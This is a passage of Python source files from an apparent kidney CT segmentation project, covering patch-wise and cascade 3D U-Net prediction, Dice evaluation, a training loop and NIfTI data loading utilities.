input = pad(input, patch_size)
padding_shape = input.shape[:3]
coord_start = np.array([i // 2 for i in patch_size])
coord_end = np.array([padding_shape[i] - patch_size[i] // 2
for i in range(len(patch_size))])
num_steps = np.ceil([(coord_end[i] - coord_start[i]) / (patch_size[i] / step_per_patch)
for i in range(3)])
step_size = np.array([(coord_end[i] - coord_start[i]) / (num_steps[i] + 1e-8)
for i in range(3)])
step_size[step_size == 0] = 9999999
x_steps = np.arange(coord_start[0], coord_end[0] + 1e-8, step_size[0], dtype=np.int)
y_steps = np.arange(coord_start[1], coord_end[1] + 1e-8, step_size[1], dtype=np.int)
z_steps = np.arange(coord_start[2], coord_end[2] + 1e-8, step_size[2], dtype=np.int)
result = torch.zeros([num_classes] + list(padding_shape)).to(device)
result_n = torch.zeros_like(result).to(device)
if verbose:
print('Image Shape: {} Patch Size: {}'.format(padding_shape, patch_size))
print('X step: %d Y step: %d Z step: %d' %
(len(x_steps), len(y_steps), len(z_steps)))
# W H D C => C W H D => N C W H D for model input
input = torch.from_numpy(to_tensor(input)[None]).to(device)
patchs_slices = []
for x in x_steps:
x_mix = x - patch_size[0] // 2
x_max = x + patch_size[0] // 2
for y in y_steps:
y_min = y - patch_size[1] // 2
y_max = y + patch_size[1] // 2
for z in z_steps:
z_min = z - patch_size[2] // 2
z_max = z + patch_size[2] // 2
patchs_slices.append([slice(x_mix, x_max),
slice(y_min, y_max),
slice(z_min, z_max)])
# predict loop
predict_loop = tqdm(patchs_slices) if verbose else patchs_slices
model.eval()
with torch.no_grad():
for slices in predict_loop:
output = model(input[[slice(None), slice(None)]+slices])
if num_classes == 1:
output = torch.sigmoid(output)
else:
output = torch.softmax(output, dim=1)
result[[slice(None)]+slices] += output[0]
result_n[[slice(None)]+slices] += 1
# merge all patchs
if verbose:
print('Merging all patchs...')
result = result / result_n
if one_hot:
result = to_numpy(result.cpu().numpy()).astype(np.float32)
else:
if num_classes == 1:
result = torch.squeeze(result, dim=0)
else:
result = torch.softmax(result, dim=0)
result = torch.argmax(result, axis=0)
result = np.round(result.cpu().numpy()).astype(np.uint8)
return crop_pad(result, origial_shape)
def predict_case(case,
model,
target_spacing,
normalize_stats,
num_classes=3,
patch_size=(96, 96, 96),
step_per_patch=4,
verbose=True,
one_hot=False):
orig_shape = case['image'].shape[:-1]
affine = case['affine']
# resample case for predict
if verbose:
print('Resampling the case for prediction...')
case_ = resample_normalize_case(case, target_spacing, normalize_stats)
if verbose:
print('Predicting the case...')
pred = predict_per_patch(case_['image'],
model,
num_classes,
patch_size,
step_per_patch,
verbose,
one_hot)
if verbose:
print('Resizing the case to origial shape...')
case['pred'] = resize(pred, orig_shape, is_label=one_hot is False)
case['affine'] = affine
if verbose:
print('All done!')
return case
def batch_predict_case(load_dir,
save_dir,
model,
target_spacing,
normalize_stats,
num_classes=3,
patch_size=(240, 240, 80),
step_per_patch=4,
data_range=None):
load_dir = Path(load_dir)
cases = CaseDataset(load_dir, load_meta=True)
if data_range is None:
data_range = range(len(cases))
for i in tqdm(data_range):
case = predict_case(cases[i],
model,
target_spacing,
normalize_stats,
num_classes,
patch_size,
step_per_patch,
False)
save_pred(case, save_dir)
def cascade_predict_case(case,
coarse_model,
coarse_target_spacing,
coarse_normalize_stats,
coarse_patch_size,
detail_model,
detail_target_spacing,
detail_normalize_stats,
detail_patch_size,
num_classes=3,
step_per_patch=4,
region_threshold=10000,
crop_padding=20,
verbose=True):
if verbose:
print('Predicting the rough shape for further prediction...')
case = predict_case(case,
coarse_model,
coarse_target_spacing,
coarse_normalize_stats,
1,
coarse_patch_size,
step_per_patch,
verbose=verbose)
regions = regions_crop_case(case, region_threshold, crop_padding, 'pred')
num_classes = detail_model.out_channels
orig_shape = case['image'].shape[:-1]
result = np.zeros(list(orig_shape)+[num_classes])
result_n = np.zeros_like(result)
if verbose:
print('Cropping regions (%d)...' % len(regions))
for idx, region in enumerate(regions):
bbox = region['bbox']
shape = region['image'].shape[:-1]
if verbose:
print('Region {} {} predicting...'.format(idx, shape))
region = predict_case(region,
detail_model,
detail_target_spacing,
detail_normalize_stats,
num_classes,
detail_patch_size,
step_per_patch,
verbose=verbose,
one_hot=True)
region_slices = []
result_slices = []
for i in range(len(bbox)):
region_slice_min = 0 + max(0 - bbox[i][0], 0)
region_slice_max = shape[i] - max(bbox[i][1] - orig_shape[i], 0)
region_slices.append(slice(region_slice_min, region_slice_max))
origin_slice_min = max(bbox[i][0], 0)
origin_slice_max = min(bbox[i][1], orig_shape[i])
result_slices.append(slice(origin_slice_min, origin_slice_max))
region_slices.append(slice(None))
result_slices.append(slice(None))
result[result_slices] += region['pred'][region_slices]
result_n[result_slices] += 1
if verbose:
print('Merging all regions...')
# avoid orig_pred_n = 0
mask = np.array(result_n > 0)
result[mask] = result[mask] / result_n[mask]
if num_classes == 1:
result = np.squeeze(result, axis=-1)
result = np.around(result)
else:
result = spe.softmax(result, axis=-1)
result = np.argmax(result, axis=-1)
case['pred'] = result.astype(np.uint8)
if verbose:
print('All done!')
return case
def cascade_predict(image_file,
coarse_model,
coarse_target_spacing,
coarse_normalize_stats,
coarse_patch_size,
detail_model,
detail_target_spacing,
detail_normalize_stats,
detail_patch_size,
air=-200,
num_classes=3,
step_per_patch=4,
region_threshold=10000,
crop_padding=20,
label_file=None,
verbose=True):
orig_case = load_case(image_file, label_file)
case = orient_crop_case(orig_case, air)
case = cascade_predict_case(case,
coarse_model,
coarse_target_spacing,
coarse_normalize_stats,
coarse_patch_size,
detail_model,
detail_target_spacing,
detail_normalize_stats,
detail_patch_size,
num_classes,
step_per_patch,
region_threshold,
crop_padding,
verbose)
orient = nib.orientations.io_orientation(orig_case['affine'])
indices = orient[:, 0].astype(np.int)
orig_shape = np.array(orig_case['image'].shape[:3])
orig_shape = np.take(orig_shape, indices)
bbox = case['bbox']
orig_pred = np.zeros(orig_shape, dtype=np.uint8)
result_slices = []
for i in range(len(bbox)):
orig_slice_min = max(bbox[i][0], 0)
orig_slice_max = min(bbox[i][1], orig_shape[i])
result_slices.append(slice(orig_slice_min, orig_slice_max))
orig_pred[result_slices] = case['pred']
# orient
orig_case['pred'] = nib.orientations.apply_orientation(orig_pred, orient)
if len(orig_case['image'].shape) == 3:
orig_case['image'] = np.expand_dims(orig_case['image'], -1)
return orig_case
def batch_cascade_predict(image_dir,
save_dir,
coarse_model,
coarse_target_spacing,
coarse_normalize_stats,
coarse_patch_size,
detail_model,
detail_target_spacing,
detail_normalize_stats,
detail_patch_size,
air=-200,
num_classes=3,
step_per_patch=4,
region_threshold=10000,
crop_padding=20,
data_range=None):
image_dir = Path(image_dir)
image_files = [path for path in sorted(image_dir.iterdir()) if path.is_file()]
if data_range is None:
data_range = range(len(image_files))
for i in tqdm(data_range):
case = cascade_predict(image_files[i],
coarse_model,
coarse_target_spacing,
coarse_normalize_stats,
coarse_patch_size,
detail_model,
detail_target_spacing,
detail_normalize_stats,
detail_patch_size,
air,
num_classes,
step_per_patch,
region_threshold,
crop_padding,
None,
False)
save_pred(case, save_dir)
def evaluate_case(case):
num_classes = case['label'].max()
evaluate_result = []
for c in range(num_classes):
pred = np.array(case['pred'] == c+1).astype(np.float32)
label = np.array(case['label'] == c+1).astype(np.float32)
dsc = dice(torch.tensor(pred), torch.tensor(label)).item()
evaluate_result.append(dsc)
return evaluate_result
def evaluate(label_file, pred_file):
label_nib = nib.load(str(label_file))
pred_nib = nib.load(str(pred_file))
case = {}
case['label'] = label_nib.get_fdata().astype(np.uint8)
case['pred'] = pred_nib.get_fdata().astype(np.uint8)
evaluate_result = evaluate_case(case)
return evaluate_result
def batch_evaluate(label_dir, pred_dir, data_range=None):
label_dir = Path(label_dir)
pred_dir = Path(pred_dir)
label_files = sorted(list(label_dir.glob('*.nii.gz')))
pred_files = sorted(list(pred_dir.glob('*.nii.gz')))
if data_range is None:
data_range = range(len(label_files))
evaluate_results = []
par = tqdm(data_range)
for i in par:
evaluate_result = evaluate(label_files[i], pred_files[i])
evaluate_results.append(evaluate_result)
evaluate_dict = {}
for idx, e in enumerate(evaluate_result):
evaluate_dict["label_%d" % (idx+1)] = e
par.set_description("Case %d" % i)
par.set_postfix(evaluate_dict)
print('\nThe mean dsc of each label:')
means = np.array(evaluate_results).mean(axis=0)
for i, mean in enumerate(means):
print("label_%d: %f" % (i+1, mean))
return evaluate_results
class Subset(torch.utils.data.Subset):
def __init__(self, dataset, indices, transform):
super(Subset, self).__init__(dataset, indices)
self.transform = transform
def __getitem__(self, idx):
case = self.dataset[self.indices[idx]]
if self.transform:
case = self.transform(case)
return case
class Trainer():
def __init__(self,
model,
optimizer,
loss,
dataset,
batch_size=10,
dataloader_kwargs={'num_workers': 2,
'pin_memory': True},
valid_split=0.2,
num_samples=None,
metrics=None,
scheduler=None,
train_transform=None,
valid_transform=None):
self.model = model
self.optimizer = optimizer
self.loss = loss
self.dataset = dataset
self.metrics = metrics
self.scheduler = scheduler
self.train_transform = train_transform
self.valid_transform = valid_transform
dataset_size = len(self.dataset)
indices = list(range(dataset_size))
split = int(np.floor(valid_split * dataset_size))
np.random.shuffle(indices)
self.train_indices = indices[split:]
self.valid_indices = indices[:split]
self.dataloader_kwargs = {'batch_size': batch_size, **dataloader_kwargs}
self.num_samples = num_samples
self.valid_split = valid_split
self.device = next(model.parameters()).device
self.best_result = {'loss': float('inf')}
self.current_epoch = 0
self.patience_counter = 0
self.amp_state_dict = None
def get_lr(self, idx=0):
return self.optimizer.param_groups[idx]['lr']
def set_lr(self, lr, idx=0):
self.optimizer.param_groups[idx]['lr'] = lr
def summary(self, input_shape):
return summary(self.model, input_shape)
def batch_loop(self, data_loader, is_train=True):
results = []
self.progress_bar.reset(len(data_loader))
desc = "Epoch %d/%d (LR %.2g)" % (self.current_epoch+1,
self.num_epochs,
self.get_lr())
self.progress_bar.set_description(desc)
for batch_idx, batch in enumerate(data_loader):
x = batch['image'].to(self.device)
y = batch['label'].to(self.device)
# forward
if is_train:
self.model.train()
y_pred = self.model(x)
else:
self.model.eval()
with torch.no_grad():
y_pred = self.model(x)
loss = self.loss(y_pred, y)
# backward
if is_train:
self.optimizer.zero_grad()
if self.use_amp:
with amp.scale_loss(loss, self.optimizer) as scaled_loss:
scaled_loss.backward()
else:
loss.backward()
self.optimizer.step()
result = {'loss': loss.item()}
# calc the other metrics
if self.metrics is not None:
for key, metric_fn in self.metrics.items():
result[key] = metric_fn(y_pred, y).item()
if not torch.isnan(loss):
results.append(result)
self.progress_bar.set_postfix(result)
self.progress_bar.update()
mean_result = {}
for key in results[0].keys():
mean_result[key] = np.mean(np.array([x[key] for x in results]))
name = 'train' if is_train else 'valid'
if self.save_dir is not None:
writer = SummaryWriter(self.save_dir)
for key in mean_result.keys():
writer.add_scalar('%s/%s' % (key, name),
mean_result[key],
self.current_epoch)
writer.close()
return mean_result
def fit(self,
num_epochs=10,
save_dir=None,
use_amp=False,
opt_level='O1'):
# ----------------------
# initialize
# ----------------------
self.num_epochs = num_epochs
self.use_amp = use_amp
self.save_dir = save_dir
if use_amp:
self.model, self.optimizer = amp.initialize(
self.model, self.optimizer, opt_level=opt_level)
if self.amp_state_dict is not None:
amp.load_state_dict(self.amp_state_dict)
self.progress_bar = tqdm(total=0)
# ----------------------
# prepare data
# ----------------------
train_set = Subset(self.dataset, self.train_indices, self.train_transform)
if self.num_samples is not None:
sampler = torch.utils.data.RandomSampler(train_set, True, self.num_samples)
train_loader = torch.utils.data.DataLoader(train_set,
sampler=sampler,
**self.dataloader_kwargs)
else:
train_loader = torch.utils.data.DataLoader(train_set,
shuffle=True,
**self.dataloader_kwargs)
if len(self.valid_indices) > 0:
valid_set = Subset(self.dataset, self.valid_indices, self.valid_transform)
if self.num_samples is not None:
num_samples = round(self.num_samples * self.valid_split)
sampler = torch.utils.data.RandomSampler(valid_set, True, num_samples)
valid_loader = torch.utils.data.DataLoader(valid_set,
sampler=sampler,
**self.dataloader_kwargs)
else:
valid_loader = torch.utils.data.DataLoader(valid_set,
**self.dataloader_kwargs)
else:
valid_loader = None
# ----------------------
# main loop
# ----------------------
for epoch in range(self.current_epoch, num_epochs):
self.current_epoch = epoch
# train loop
result = self.batch_loop(train_loader, is_train=True)
# vaild loop
if valid_loader is not None:
result = self.batch_loop(valid_loader, is_train=False)
# build-in fn: lr_scheduler
if self.scheduler is not None:
if isinstance(self.scheduler, lr_scheduler.ReduceLROnPlateau):
self.scheduler.step(result['loss'])
else:
self.scheduler.step()
# save best
if result['loss'] < self.best_result['loss']-1e-3:
self.best_result = result
if save_dir is not None:
self.save_checkpoint(save_dir+'-best.pt')
if save_dir is not None:
self.save_checkpoint(save_dir+'-last.pt')
self.progress_bar.close()
def save_checkpoint(self, file_path):
checkpoint = {'model_state_dict': self.model.state_dict(),
'optimizer_state_dict': self.optimizer.state_dict(),
'current_epoch': self.current_epoch,
'train_indices': self.train_indices,
'valid_indices': self.valid_indices,
'best_result': self.best_result}
if self.scheduler is not None:
checkpoint['scheduler_state_dict'] = self.scheduler.state_dict()
if self.use_amp:
checkpoint['amp_state_dict'] = amp.state_dict()
torch.save(checkpoint, file_path)
def load_checkpoint(self, file_path):
checkpoint = torch.load(file_path)
self.model.load_state_dict(checkpoint['model_state_dict'])
self.optimizer.load_state_dict(checkpoint['optimizer_state_dict'])
self.current_epoch = checkpoint['current_epoch']+1
self.train_indices = checkpoint['train_indices']
self.valid_indices = checkpoint['valid_indices']
self.best_result = checkpoint['best_result']
if 'amp_state_dict' in checkpoint:
self.amp_state_dict = checkpoint['amp_state_dict']
if 'scheduler_state_dict' in checkpoint and self.scheduler is not None:
self.scheduler.load_state_dict(checkpoint['scheduler_state_dict'])
# cross valid
# elif num_folds > 1:
# # split the dataset into k-fold
# fold_len = len(dataset) // num_folds
# fold_len_list = []
# for i in range(num_folds-1):
# fold_len_list.append(fold_len)
# fold_len_list.append(len(dataset)-fold_len * (num_folds-1))
# fold_subsets = torch.utils.data.random_split(dataset, fold_len_list)
# fold_metrics = []
# avg_metrics = {}
# self.save('init.pt')
# for i, fold_subset in enumerate(fold_subsets):
# train_subsets = fold_subsets.copy()
# train_subsets.remove(fold_subset)
# train_subset = torch.utils.data.ConcatDataset(train_subsets)
# train_set = DatasetFromSubset(train_subset, tr_transform)
# valid_set = DatasetFromSubset(fold_subset, vd_transform)
# print('Fold %d/%d:' % (i+1, num_folds))
# self.load('init.pt')
# train_kwargs['log_dir'] = '%s_%d' % (log_dir, i)
# metrics = self.train(train_set, valid_set, **train_kwargs)
# fold_metrics.append(metrics)
# # calc the avg
# for name in fold_metrics[0].keys():
# sum_metric = 0
# for fold_metric in fold_metrics:
# sum_metric += fold_metric[name]
# avg_metrics[name] = sum_metric / num_folds
# for i, fold_metric in enumerate(fold_metrics):
# print('Fold %d metrics:\t%s' %
# (i+1, self.metrics_stringify(fold_metric)))
# print('Avg metrics:\t%s' % self.metrics_stringify(avg_metrics))
# manual ctrl @lr_factor @min_lr @patience
# if metrics['Loss'] < best_metrics['Loss']-1e-4:
# if save_dir and save_best:
# self.save(save_dir+'-best.pt')
# best_metrics = metrics
# patience_counter = 0
# elif patience > 0:
# patience_counter += 1
# if patience_counter > patience:
# print("│\n├Loss stopped improving for %d num_epochs." %
# patience_counter)
# patience_counter = 0
# lr = self.get_lr() * lr_factor
# if min_lr and lr < min_lr:
# print("│LR below the min LR, stop training.")
# break
# else:
# print('│Reduce LR to %.3g' % lr)
# self.set_lr(lr)
# def get_lr(self):
# for param_group in self.optimizer.param_groups:
# return param_group['lr']
# def set_lr(self, lr):
# for param_group in self.optimizer.param_groups:
# param_group['lr'] = lr
# # save best & early_stop_patience counter
# if result['loss'] < self.best_result['loss']-1e-3:
# self.best_result = result
# self.patience_counter = 0
# if save_dir and save_best:
# self.save_checkpoint(save_dir+'-best.pt')
# elif early_stop_patience > 0:
# self.patience_counter += 1
# if self.patience_counter > early_stop_patience:
# print(("\nLoss stopped improving for %d num_epochs. "
# "stop training.") % self.patience_counter)
# self.patience_counter = 0
# break
<file_sep>/nb_post_iib.py
# %%
from tqdm import tqdm
import nibabel as nib
from pathlib import Path
from visualize import case_plt
from trainer import predict_case, cascade_predict_case, cascade_predict, evaluate_case, \
batch_evaluate, batch_cascade_predict
from data import CaseDataset, save_pred, save_case
from network import ResUnet3D, ResAttrUnet3D, ResAttrBNUnet3D
import torch
import numpy as np
import matplotlib.pyplot as plt
import scipy.ndimage as ndi
from transform import remove_small_region
ckpt1 = torch.load('logs/Task00_Kidney/kd-2004070628-epoch=54.pt')
ckpt2 = torch.load('logs/DOC/iib-H-09-last.pt')
coarse_model = ResAttrUnet3D(out_channels=1).cuda()
detail_model = ResUnet3D(out_channels=3).cuda()
coarse_model.load_state_dict(ckpt1['model_state_dict'])
detail_model.load_state_dict(ckpt2['model_state_dict'])
normalize_stats1 = {"mean": 100.23331451416016,
"std": 76.66192626953125,
"pct_00_5": -79.0,
"pct_99_5": 303.0}
normalize_stats2 = {'median': 136.0,
'mean': 137.51925659179688,
'std': 88.92479705810547,
'pct_00_5': -69.0,
'pct_99_5': 426.0}
# %%
cases = CaseDataset('data/Task00_Kidney/region_crop')
case = predict_case(cases[5],
model=detail_model,
target_spacing=(0.7, 0.7, 1),
normalize_stats=normalize_stats2,
patch_size=(128, 128, 128))
# %%
image_file = '/mnt/main/dataset/Task20_Kidney/imagesTr/case_010.nii.gz'
label_file = None
# image_file = '/mnt/main/dataset/Task00_Kidney/imagesTr/case_00005.nii.gz'
label_file = '/mnt/main/dataset/Task20_Kidney/labelsTr_vessel/case_010.nii.gz'
case = cascade_predict(image_file=image_file,
label_file=label_file,
coarse_model=coarse_model,
coarse_target_spacing=(2.4, 2.4, 3),
coarse_normalize_stats=normalize_stats1,
coarse_patch_size=(144, 144, 96),
detail_model=detail_model,
detail_target_spacing=(0.7, 0.7, 1),
detail_normalize_stats=normalize_stats2,
detail_patch_size=(128, 128, 128))
# %%
evaluate_case(case)
# %%
case_plt(case, slice_pct=0.4, axi=2)
# %%
save_case(case, './')
# %%
# %%
image_dir = '/mnt/main/dataset/Task20_Kidney/imagesTr'
test_dir = '/mnt/main/dataset/Task20_Kidney/imagesTs'
pred_dir = '/mnt/main/dataset/Task20_Kidney/predictsTr_09_vessel'
batch_cascade_predict(image_dir,
pred_dir,
coarse_model=coarse_model,
coarse_target_spacing=(2.4, 2.4, 3),
coarse_normalize_stats=normalize_stats1,
coarse_patch_size=(144, 144, 96),
detail_model=detail_model,
detail_target_spacing=(0.7, 0.7, 1.0),
detail_normalize_stats=normalize_stats2,
detail_patch_size=(128, 128, 128),
num_classes=3)
# %%
<file_sep>/nb_pl_args.py
# %%
from tqdm import tqdm, trange
from visualize import grid_plt, sample_plt
from data import CaseDataset
from trainer import DatasetFromSubset, Trainer, predict_3d_tile
from network import generate_paired_features, Unet, ResBlock, ResBlockStack
from loss import DiceCoef, FocalDiceCoefLoss, dice_coef
from torchvision.transforms import Compose
from transform import Crop, resize, rescale, to_one_hot, RandomCrop, ToOnehot, ToNumpy, ToTensor, \
CombineLabels, RandomBrightness, RandomContrast, RandomGamma, RandomRescale, RandomRescaleCrop, \
RandomMirror, pad, crop_pad, to_tensor, to_numpy
import torch
import torch.nn as nn
import torch.optim as optim
from pytorch_lightning.loggers import TensorBoardLogger
from pytorch_lightning.callbacks import ModelCheckpoint, EarlyStopping
from pytorch_lightning import Trainer, LightningModule
from datetime import datetime
from argparse import Namespace, ArgumentParser
parser = ArgumentParser()
parser.add_argument('-data', type=str,
default='data/Task00_Kidney/normalized',
dest='data_set_dir',
help='display an integer')
parser.add_argument('-lr', type=float,
default=1e-4,
dest='learning_rate',
help='display an integer')
parser.add_argument('-pool', type=int,
default=4,
dest='num_pool',
help='display an integer')
parser.add_argument('-feature', type=int,
default=30,
dest='num_features',
help='display an integer')
parser.add_argument('-patch-x', type=int,
default=160,
dest='patch_x',
help='Add repeated values to a list')
parser.add_argument('-patch-y', type=int,
default=160,
dest='patch_y',
help='Add repeated values to a list')
parser.add_argument('-patch-z', type=int,
default=80,
dest='patch_z',
help='Add repeated values to a list')
parser.add_argument('-split', type=float,
default=0.2,
dest='valid_split',
help='Add repeated values to a list')
parser.add_argument('-batch', type=int,
default=1,
dest='batch_size',
help='Add repeated values to a list')
parser.add_argument('-worker', type=int,
default=2,
dest='num_workers',
help='Add repeated values to a list')
parser.add_argument('-resume', type=str,
default='',
dest='resume_ckpt',
help='display an integer')
parser.add_argument('-save', type=str,
default='',
dest='save_path',
help='display an integer')
args = parser.parse_args()
print(args)
class Unet3D(LightningModule):
def __init__(self, hparams):
super(Unet3D, self).__init__()
self.hparams = hparams
self.learning_rate = hparams.learning_rate
self.data_set_dir = hparams.data_set_dir
self.loader_kwargs = {'batch_size': hparams.batch_size,
'num_workers': hparams.num_workers,
'pin_memory': True}
self.valid_split = hparams.valid_split
num_pool = hparams.num_pool
num_features = hparams.num_features
patch_size = (hparams.patch_x,
hparams.patch_y,
hparams.patch_z)
def encode_kwargs_fn(level):
num_stacks = max(level, 1)
return {'num_stacks': num_stacks}
paired_features = generate_paired_features(num_pool, num_features)
self.net = Unet(in_channels=1,
out_channels=1,
paired_features=paired_features,
pool_block=ResBlock,
pool_kwargs={'stride': 2},
up_kwargs={'attention': True},
encode_block=ResBlockStack,
encode_kwargs_fn=encode_kwargs_fn,
decode_block=ResBlock)
self.loss = FocalDiceCoefLoss()
self.tr_transform = Compose([
RandomRescaleCrop(0.1,
patch_size,
crop_mode='random',
enforce_label_indices=[1]),
RandomMirror((0.2, 0, 0)),
RandomContrast(0.1),
RandomBrightness(0.1),
RandomGamma(0.1),
CombineLabels([1, 2], 3),
ToTensor()
])
self.vd_transform = Compose([
RandomCrop(patch_size),
CombineLabels([1, 2], 3),
ToTensor()
])
def prepare_data(self):
data_set = CaseDataset(self.data_set_dir)
n_valid = round(len(data_set) * self.valid_split)
valid_subset, train_subset = torch.utils.data.random_split(
data_set, [n_valid, len(data_set)-n_valid])
self.train_set = DatasetFromSubset(train_subset, self.tr_transform)
self.valid_set = DatasetFromSubset(valid_subset, self.vd_transform)
def forward(self, x):
return self.net(x)
def configure_optimizers(self):
return optim.Adam(self.parameters(), lr=self.learning_rate)
def training_step(self, batch, batch_idx):
input, target = batch['image'], batch['label']
output = self.forward(input)
loss = self.loss(output, target)
logs = {'loss': loss}
return {'loss': loss, 'log': logs}
def validation_step(self, batch, batch_idx):
input, target = batch['image'], batch['label']
output = self.forward(input)
loss = self.loss(output, target)
return {'val_loss': loss}
def validation_epoch_end(self, outputs):
val_loss_mean = torch.stack([x['val_loss'] for x in outputs]).mean()
return {'val_loss': val_loss_mean}
def train_dataloader(self):
return torch.utils.data.DataLoader(self.train_set,
shuffle=True,
**self.loader_kwargs)
def val_dataloader(self):
return torch.utils.data.DataLoader(self.valid_set,
**self.loader_kwargs)
model = Unet3D(hparams=args)
# %%
# version = datetime.now().strftime("%y%m%d%H%H%M%S")
# logger = TensorBoardLogger('logs', name='Task00_Kidney_00', version=version)
# checkpoint = ModelCheckpoint('logs/Task00_Kidney_00/%s' % version)
# early_stop = EarlyStopping(patience=100, min_delta=1e-3)
# 'logs/Task00_Kidney_00/lightning_logs/version_0/checkpoints/epoch=7.ckpt'
# 'logs/Task00_Kidney_00/'
resume_ckpt = args.resume_ckpt if args.resume_ckpt else None
save_path = args.save_path if args.ckpt_path else None
trainer = Trainer(gpus=1,
amp_level='O2',
precision=16,
progress_bar_refresh_rate=1,
train_percent_check=1,
max_epochs=500,
min_epochs=100,
# logger=logger,
# checkpoint_callback=checkpoint,
# early_stop_callback=early_stop,
default_save_path=save_path,
resume_from_checkpoint=resume_ckpt
)
trainer.fit(model)
<file_sep>/data.py
from transform import rescale, split_dim, crop_pad_to_bbox,\
combination_labels, remove_small_region
import torch
from pathlib import Path
from tqdm import tqdm
import nibabel as nib
from utils import json_load, json_save
import numpy as np
import scipy.ndimage as ndi
from transforms3d.affines import compose, decompose
class CaseDataset(torch.utils.data.Dataset):
'''
A dataset class for loading preprocessed data.
Args:
load_dir: MSD (Medical Segmentation Decathlon) like task folder path.
transform: list of transforms or composed transforms.
load_meta: load meta info of the case or not.
Example:
cases = CaseDataset('/Task00_KD')
case = cases[0]
'''
def __init__(self, load_dir, transform=None):
super(CaseDataset, self).__init__()
self.load_dir = Path(load_dir)
self.transform = transform
self.image_files = sorted(list(self.load_dir.glob('*.image.nii.gz')))
self.label_files = sorted(list(self.load_dir.glob('*.label.nii.gz')))
if len(self.image_files) == len(self.label_files):
self.load_label = True
def __getitem__(self, index):
image_nib = nib.load(str(self.image_files[index]))
case = {'case_id': str(self.image_files[index]).split('/')[-1].split('.')[0],
'affine': image_nib.affine,
'image': image_nib.get_fdata().astype(np.float32)}
if self.load_label:
label_nib = nib.load(str(self.label_files[index]))
case['label'] = label_nib.get_fdata().astype(np.int64)
if self.transform:
case = self.transform(case)
return case
def __len__(self):
return len(self.image_files)
def get_spacing(affine):
spacing_x = np.linalg.norm(affine[0, :3])
spacing_y = np.linalg.norm(affine[1, :3])
spacing_z = np.linalg.norm(affine[2, :3])
return (spacing_x, spacing_y, spacing_z)
def apply_scale(affine, scale):
T, R, Z, S = decompose(affine)
Z = Z * np.array(scale)
return compose(T, R, Z, S)
def apply_translate(affine, offset):
T, R, Z, S = decompose(affine)
T = T + np.array(offset)
return compose(T, R, Z, S)
def load_case(image_file, label_file=None):
image_nib = nib.load(str(image_file))
case = {'case_id': str(image_file).split('/')[-1].split('.')[0],
'affine': image_nib.affine,
'image': image_nib.get_fdata().astype(np.float32)}
if label_file:
label_nib = nib.load(str(label_file))
case['label'] = label_nib.get_fdata().astype(np.int64)
return case
def save_case(case, save_dir):
save_dir = Path(save_dir)
if not save_dir.exists():
save_dir.mkdir(parents=True)
image_fname = '%s.image.nii.gz' % case['case_id']
image_nib = nib.Nifti1Pair(case['image'].astype(np.float32), case['affine'])
nib.save(image_nib, str(save_dir / image_fname))
if 'label' in case:
label_fname = '%s.label.nii.gz' % case['case_id']
label_nib = nib.Nifti1Pair(case['label'].astype(np.uint8), case['affine'])
nib.save(label_nib, str(save_dir / label_fname))
if 'pred' in case:
pred_fname = '%s.pred.nii.gz' % case['case_id']
pred_nib = nib.Nifti1Pair(case['pred'].astype(np.uint8), case['affine'])
nib.save(pred_nib, str(save_dir / pred_fname))
def save_pred(case, save_dir):
save_dir = Path(save_dir)
if not save_dir.exists():
save_dir.mkdir(parents=True)
pred_fname = '%s.pred.nii.gz' % case['case_id']
pred_nib = nib.Nifti1Pair(case['pred'].astype(np.uint8), case['affine'])
nib.save(pred_nib, str(save_dir / pred_fname))
def orient_crop_case(case, air=-200):
'''
Load data file, orient to RAS sys, than crop to non-air bbox.
Args:
image_file: Image file path.
label_file: Label file path.
air: Air value to crop with. Any voxel value below this value, regard as air aera.
Return:
image: cropped image ndarray
label: cropped label ndarray
meta: meata info dict:
affine: orient ndarray affine (matrix).
spacing: orient ndarray spacing.
shape: orient ndarray shape.
shape: cropped ndarray RAS coord sys
Example:
case = load_crop_case('/Task00_KD/imagesTr/case_0001.nii',
'/Task00_KD/labelsTr/case_0001.nii',
-200)
'''
case = case.copy()
orient = nib.orientations.io_orientation(case['affine'])
image_nib = nib.Nifti1Pair(case['image'], case['affine'])
image_nib = image_nib.as_reoriented(orient)
image_arr = image_nib.get_fdata().astype(np.float32)
if 'label' in case:
label_nib = nib.Nifti1Pair(case['label'], case['affine'])
label_nib = label_nib.as_reoriented(orient)
label_arr = label_nib.get_fdata().astype(np.int64)
if len(image_arr.shape) == 3:
image_arr = np.expand_dims(image_arr, -1)
# clac non-air box shape in all channel except label
nonair_pos = [np.array(np.where(image > air)) for image in split_dim(image_arr)]
nonair_min = np.array([nonair_pos.min(axis=1) for nonair_pos in nonair_pos])
nonair_max = np.array([nonair_pos.max(axis=1) for nonair_pos in nonair_pos])
# nonair_bbox shape (2,3) => (3,2)
nonair_bbox = np.array([nonair_min.min(axis=0), nonair_max.max(axis=0)]).T
nonair_bbox_ = np.concatenate([nonair_bbox, [[0, image_arr.shape[-1]]]])
# cropping
case['image'] = crop_pad_to_bbox(image_arr, nonair_bbox_)
case['bbox'] = nonair_bbox
if 'label' in case:
case['label'] = crop_pad_to_bbox(label_arr, nonair_bbox)
offset = nonair_bbox[:, 0] * get_spacing(image_nib.affine)
case['affine'] = apply_translate(image_nib.affine, offset)
return case
def batch_load_crop_case(image_dir, label_dir, save_dir, air=-200, data_range=None):
'''
Batch orient to RAS, crop to non-air bbox and than save as new case file.
A case has a data npz file and a meta json file.
[case_id]_data.npz contraines dnarray dict ['image'] (['label'])
[case_id]_meta.json contraines all meta info of the case:
case_id: The uid of the case, used for naming.
orient: loaded ndarray coord sys to RAS coord sys.
origial_coord_sys: loaded ndarray coord sys.
origial_affine: loaded ndarray affine (matrix), ndarray space to physical space (RAS).
origial_spacing: loaded ndarray spacing.
origial_shape: loaded ndarray shape.
coord_sys: cropped ndarray coord sys (RAS).
affine: orient ndarray affine (matrix).
spacing: orient ndarray spacing.
shape: orient ndarray shape.
cropped_shape: cropped ndarray RAS coord sys
nonair_bbox: non-air boundary box:[[x_min,x_max],[y_min,y_max],[z_min,z_max]]
props.json including info below:
air: Setted air value.
modality: modality name in MSD's dataset.json
labels: labels name in MSD's dataset.json
Args:
load_dir: MSD (Medical Segmentation Decathlon) like task folder path.
save_dir: Cropped data save folder path.
porps_save_dir: Porps file save path.
air: Air value to crop with. Any voxel value below this value, regard as air aera
data_range: If u only want to load part of the case in the folder.
'''
image_dir = Path(image_dir)
label_dir = Path(label_dir)
image_files = [path for path in sorted(image_dir.iterdir()) if path.is_file()]
label_files = [path for path in sorted(label_dir.iterdir()) if path.is_file()]
assert len(image_files) == len(label_files),\
